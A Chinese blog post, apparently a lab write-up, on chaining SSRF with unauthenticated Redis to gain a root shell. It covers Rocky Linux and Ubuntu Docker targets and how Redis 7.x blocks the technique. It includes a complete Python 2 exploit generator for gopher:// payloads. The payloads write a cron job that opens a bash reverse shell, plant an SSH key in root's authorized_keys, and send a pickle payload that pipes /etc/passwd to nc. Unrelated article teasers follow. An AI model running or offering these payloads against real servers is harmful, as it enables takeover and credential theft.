ssrf結合redis未授權getshell

目錄

漏洞介紹

SSRF

Redis未授權

利用原理

環境搭建

利用過程

rockylinux

cron計劃任務反彈shell

寫公鑰+免密登錄

ubuntu

寫公鑰+免密登錄


漏洞介紹

SSRF

SSRF(server side request forgrey)服務端請求偽造,因后端未過濾用戶輸入,導致攻擊者可以利用服務器向由攻擊者輸入的任意地址發起HTTP請求。攻擊者可以對內網脆弱組件,redis,php-fpm發起攻擊,獲取服務器權限

Redis未授權

Redis在低版本中未強制設置密碼,攻擊者可以無需任何權限訪問redis,若redis未降權運行,可獲取服務器root權限

利用原理

原理即為攻擊者通過SSRF訪問內網或本地的redis6379端口,如果剛好存在redis未授權,即可getshell

環境搭建

原來的靶場環境Web-Hacking-Lab因為centos的停止維護用不了了,我改成了rockylinux8的鏡像,類似centos操作系統

注意:我是在外網的公網服務器上搭建的,不保證國內可以搭建成功,師傅們自行修改docker文件

鏈接:https://pan.baidu.com/s/1-ebmTKaWGu3qeat5fK1iOw?pwd=cate?
提取碼:cate

利用過程

rockylinux

訪問http://ip:2222

嘗試file讀取文件,成功讀取,說明存在ssrf漏洞

嘗試訪問本地6379端口,發現redis報錯,說明存在redis組件

cron計劃任務反彈shell

#!/usr/bin/python2
from __future__ import print_functionimport os
import sys
import base64
import urllib
import pickle
import subprocessdef generate_resp(command):res = ""if isinstance(command, list):passelse:command = command.split(" ")res += "*{}\n".format(len(command))for cmd in command:res += "${}\n".format(len(cmd))res += "{}\n".format(cmd)return resdef get_public_ip():try:return subprocess.check_output(["curl","-s","ident.me"])except:return Nonedef generate_gopher(payload):final_payload = "gopher://127.0.0.1:6379/_{}".format(urllib.quote(payload))return final_payloaddef ssh_key_write(ssh_dir="/root/.ssh"):res = ""pubkey_path = "/root/.ssh/id_rsa.pub"if(not os.path.exists(pubkey_path)):print("Please Run : ssh-keygen -t rsa")exit(1)pubkey = "\n\n" + open(pubkey_path,"r").read()res += generate_resp('flushall')# res += generate_resp('set 1 {}'.format(pubkey))res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(pubkey)))res += generate_resp('config set dir {}'.format(ssh_dir))res += generate_resp('config set dbfilename authorized_keys')res += generate_resp('save')res += generate_resp('quit')res = res.replace("A" * len(pubkey),pubkey)res = res.replace("\n","\r\n")print(generate_gopher(res))print("")print("")print("====================================================")print("After payload executed, try ssh root@server_hostname")print("====================================================")def cron_write(ip, port=8080, os_type="centos"):if os_type == "centos":crontab_path = "/var/spool/cron/"else:crontab_path = "/var/spool/cron/crontabs"cron_command = "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'\n\n".format(ip=ip, port=port)res = ""res += generate_resp('flushall')res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(cron_command)))res += generate_resp('config set dir {}'.format(crontab_path))res += generate_resp('config set dbfilename root')res += generate_resp('save')res += generate_resp('quit')res = res.replace("\n","\r\n")res = res.replace("A" * len(cron_command), cron_command)print(generate_gopher(res))class PickleExploit(object):def __reduce__(self):ip = "127.0.0.1"port = "9091"cmd = 'cat /etc/passwd | nc {} {}'.format(ip, port)return (os.system, (cmd,))def pickle_payload(key):res = ""payload = pickle.dumps(PickleExploit())res += "\r\n"res += generate_resp("set {} {}".format(key, base64.b64encode(payload)))res = res.replace("\n", "\r\n")print(generate_gopher(res).replace("gopher","http"))if len(sys.argv) < 2:print("cron or ssh or pickle")sys.exit(0)if sys.argv[1] == "cron":ip = raw_input("Reverse IP > ") or get_public_ip() or "127.0.0.1"port = raw_input("Port > ") or "8080"os_type = raw_input("Centos/Ubuntu (Default Centos)") or "centos"cron_write(ip=ip,port=port)if sys.argv[1] == "ssh":ssh_key_write()if sys.argv[1] == "pickle":key = raw_input("Key name > ")pickle_payload(key)

利用python腳本生成payload,注意是python2

抓包發送payload,(這里因為是post數據流,可以urlencode,也可以不用)

可以看到redis返回ok

等待一分鐘左右,成功反彈root權限

進容器,可以看到任務計劃中成功寫入反彈shell腳本

寫公鑰+免密登錄

同樣利用python腳本生成payload

ssh-keygen生成密鑰

抓包發送payload,可以看到redis返回ok

注意這里不要urlencode編碼,否則會出現下面這種情況

然后直接ssh登錄,成功登錄,注意這里的 -p 10025,因為是容器的22端口映射到服務器上的10025端口

進容器查看.ssh目錄,發現的確寫入了公鑰

ubuntu

寫公鑰+免密登錄

探測6379端口是否存在,發現redis返回報錯信息

同樣python生成payload

但是在發送時卻遇到了問題

為此我在容器里redis-cli連接redis,直接寫入,看看是否是redis的問題

果不其然,是redis的問題

那為什么rockylinux沒有問題?

我查看了Dockerfile文件,發現rockylinux使用的是5.0.5的redis版本

而ubuntu用的則是穩定版本

之后想起來redis有一個保護模式,我嘗試改成no,然后重啟redis,仍然不行

查找其他博主的博客。嘗試這兩個命令,仍然不行

config set protected-mode no
config set slave-read-only no

發現可能是版本太高,換個版本試試

換成6.2.9后直接設置成功,沒有報錯

再試試高一點的 7.2.1版本,發現也還是不行

說明redis在7.x版本中意識到了redis未授權對服務器的危害,不允許用戶再自定義被保護的配置路徑

想要在7.x版本中復現,可以修改redis配置文件的配置,將下面的配置改為yes

再次發送payload

成功登錄

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/41416.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/41416.shtml
英文地址,請注明出處:http://en.pswp.cn/web/41416.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

桂花網藍牙網關X1000:引領物聯網新時代的智能連接

在物聯網技術飛速發展的今天&#xff0c;藍牙網關作為連接藍牙設備與互聯網的關鍵設備&#xff0c;其性能與穩定性直接影響到物聯網系統的整體運行效果。桂花網藍牙網關X1000憑借其卓越的性能和廣泛的應用場景&#xff0c;成為了物聯網領域的佼佼者。 一、產品概述 桂花網藍牙…

【修仙小伙伴】第1章 天眼計劃

自古以來&#xff0c;人類對于地外文明的探索&#xff0c;就不曾停止過。 而在古代文獻《拾遺記》之中&#xff0c;就有「秦始皇」和所謂「宛渠之民」的對話記載&#xff1a; 始皇好神仙之事&#xff0c;有宛渠之民&#xff0c;乘螺舟而至。 舟形似螺&#xff0c;沉行海底&a…

服務端事件推送——HTTP協議的事件流(EventStream)

背景 最近由于工作要求需要使用Springboot搭建一個流式響應服務&#xff0c;即客戶端發送一次請求&#xff0c;服務端需要多次響應才能返回完整的數據。使用場景就是與chatGPT對話&#xff0c;你問一個問題&#xff0c;頁面會逐字將結果打印出來。 下面我在SpringBoot中可以簡…

使用Ckman部署ClickHouse集群介紹

使用Ckman部署ClickHouse集群介紹 1. Ckman簡介 ClickHouse Manager是一個為ClickHouse數據庫量身定制的管理工具&#xff0c;它是由擎創科技數據庫團隊主導研發的一款用來管理和監控ClickHouse集群的可視化運維工具。目前該工具已在github上開源&#xff0c;開源地址為&…

Leetcode 3213. Construct String with Minimum Cost

Leetcode 3213. Construct String with Minimum Cost 1. 解題思路2. 代碼實現 題目鏈接&#xff1a;3213. Construct String with Minimum Cost 1. 解題思路 這一題的話思路上還是比較直接的&#xff0c;就是一個trie樹加一個動態規劃&#xff0c;通過trie樹來快速尋找每一個…

k8s-第七節-ConfigMap Secret

ConfigMap & Secret ConfigMap 數據庫連接地址&#xff0c;這種可能根據部署環境變化的或者其他容器配置選項的包括容器更新或者擴容時可以統一配置 Kubernetes 為我們提供了 ConfigMap&#xff0c;可以方便的配置一些變量。 https://kubernetes.io/zh/docs/concepts/c…

Angluar 實現pdf頁面預覽以及編輯

之前用過一個pdf預覽的lib&#xff0c;并且還支持在線編輯&#xff0c;和直接下載編輯之后的pdf和直接打印&#xff0c;還不錯&#xff0c;記錄下 PdfShowcase 首先安裝依賴 npm install ngx-extended-pdf-viewer 然后引入 import { NgxExtendedPdfViewerModule } from &q…

硅紀元視角 | 中國電信“星辰大模型·軟件工廠”,兩分鐘完成應用開發,效率飛躍!

在數字化浪潮的推動下&#xff0c;人工智能&#xff08;AI&#xff09;正成為塑造未來的關鍵力量。硅紀元視角欄目緊跟AI科技的最新發展&#xff0c;捕捉行業動態&#xff1b;提供深入的新聞解讀&#xff0c;助您洞悉技術背后的邏輯&#xff1b;匯聚行業專家的見解&#xff0c;…

【數據結構】鏈表帶環問題分析及順序表鏈表對比分析

【C語言】鏈表帶環問題分析及順序表鏈表對比分析 &#x1f525;個人主頁&#xff1a;大白的編程日記 &#x1f525;專欄&#xff1a;C語言學習之路 文章目錄 【C語言】鏈表帶環問題分析及順序表鏈表對比分析前言一.順序表和鏈表對比1.1順序表和鏈表的區別1.2緩存利用率&#…

Leetcode 3211. Generate Binary Strings Without Adjacent Zeros

Leetcode 3211. Generate Binary Strings Without Adjacent Zeros 1. 解題思路2. 代碼實現 題目鏈接&#xff1a;3211. Generate Binary Strings Without Adjacent Zeros 1. 解題思路 這一題比較簡單&#xff0c;用一個遞歸算法即可實現。 2. 代碼實現 給出python代碼實現…

Linux基礎: 二. Linux的目錄和文件

文章目錄 二. Linux的目錄和文件1.1 目錄概要1.2 目錄詳細說明 二. Linux的目錄和文件 1.1 目錄概要 command&#xff1a;ls / Linux的文件系統像一棵樹一樣&#xff0c;樹干是根目錄&#xff08;/&#xff09;&#xff0c;樹枝是子目錄&#xff0c;樹葉是文件&#xff1b; …

亞信安全發布2024年6月威脅態勢,高危漏洞猛增60%

近日&#xff0c;亞信安全正式發布《2024年6月威脅態勢報告》&#xff08;以下簡稱“報告”&#xff09;&#xff0c;報告顯示&#xff0c;6月份新增信息安全漏洞 1794個&#xff0c;高危漏洞激增60%&#xff0c;涉及0day漏洞占67.67%&#xff1b;監測發現當前較活躍的勒索病毒…

C++多線程學習筆記

創建線程(thread) #include<iostream> #include<thread> using namespace std;// 函數fun&#xff0c;接收一個整型參數并在無限循環中打印遞增的值 void fun(int a) {while(1) {cout << a << "\n"; // 打印自增后的athis_thread::sleep_fo…

應用案例 | 基于物聯網工控屏的工業離心機設備監控系統

案例概況 客戶&#xff1a;博魯班特&#xff08;BROADBENT&#xff09; 應用產品&#xff1a;宏集物聯網工控屏 應用場景&#xff1a;離心機設備監控系統 一、前言 在現代工業生產中&#xff0c;離心機作為關鍵的分離設備&#xff0c;在生產過程中扮演著至關重要的角色。隨…

谷粒商城學習筆記-17-快速開發-逆向工程搭建使用

文章目錄 一&#xff0c;克隆人人開源的逆向工程代碼二&#xff0c;把逆向工程集成到谷粒商城的后臺工程三&#xff0c;以商品服務為例&#xff0c;使用逆向工程生成代碼1&#xff0c;修改逆向工程的配置2&#xff0c;以Debug模式啟動逆向工程3&#xff0c;使用逆向工程生成代碼…

名企面試必問30題(二十四)—— 說說你空窗期做了什么?

回答示例一 在空窗期這段時間&#xff0c;我主要進行了兩方面的活動。 一方面&#xff0c;我持續提升自己的專業技能。我系統地學習了最新的軟件測試理論和方法&#xff0c;深入研究了自動化測試工具和框架&#xff0c;例如 Selenium、Appium 等&#xff0c;并通過在線課程和實…

ISA95-Part4-業務流程的解析與設計思路

MES/MOM系統實現ISA-95標準的業務流程通常遵循以下思路,并包含一系列內容。 一、功能模塊: 1. 需求分析與規劃: - 確定業務流程需求,包括訂單管理、生產調度、庫存控制等,并規劃如何將這些流程與MES/MOM系統集成。 2. 系統集成架構設計: - 設計一個系統集成架構,確保M…

基于B/S模式和Java技術的生鮮交易系統

你好呀&#xff0c;我是計算機學姐碼農小野&#xff01;如果有相關需求&#xff0c;可以私信聯系我。 開發語言&#xff1a;Java 數據庫&#xff1a;MySQL 技術&#xff1a;B/S模式、Java技術 工具&#xff1a;Visual Studio、MySQL數據庫開發工具 系統展示 首頁 用戶注冊…

【Java】詳解String類中的各種方法

創建字符串 常見的創建字符串的三種方式&#xff1a; // 方式一 String str "hello world"; // 方式二 String str2 new String("hello world"); // 方式三 char[] array {a, b, c}; String str3 new String(array); "hello" 這樣的字符串字…

Halcon 產品周圍缺口檢測

*讀取一張圖像read_image (Image, 原圖.jpg)*獲取圖像大小get_image_size(Image, Width, Height)*關閉已經打開的窗口dev_close_window ()*打開新窗口dev_open_window(0, 0, Width, Height, black, WindowHandle) //打開指定大小的窗口*對圖像進行閾值操作threshold (Image, R…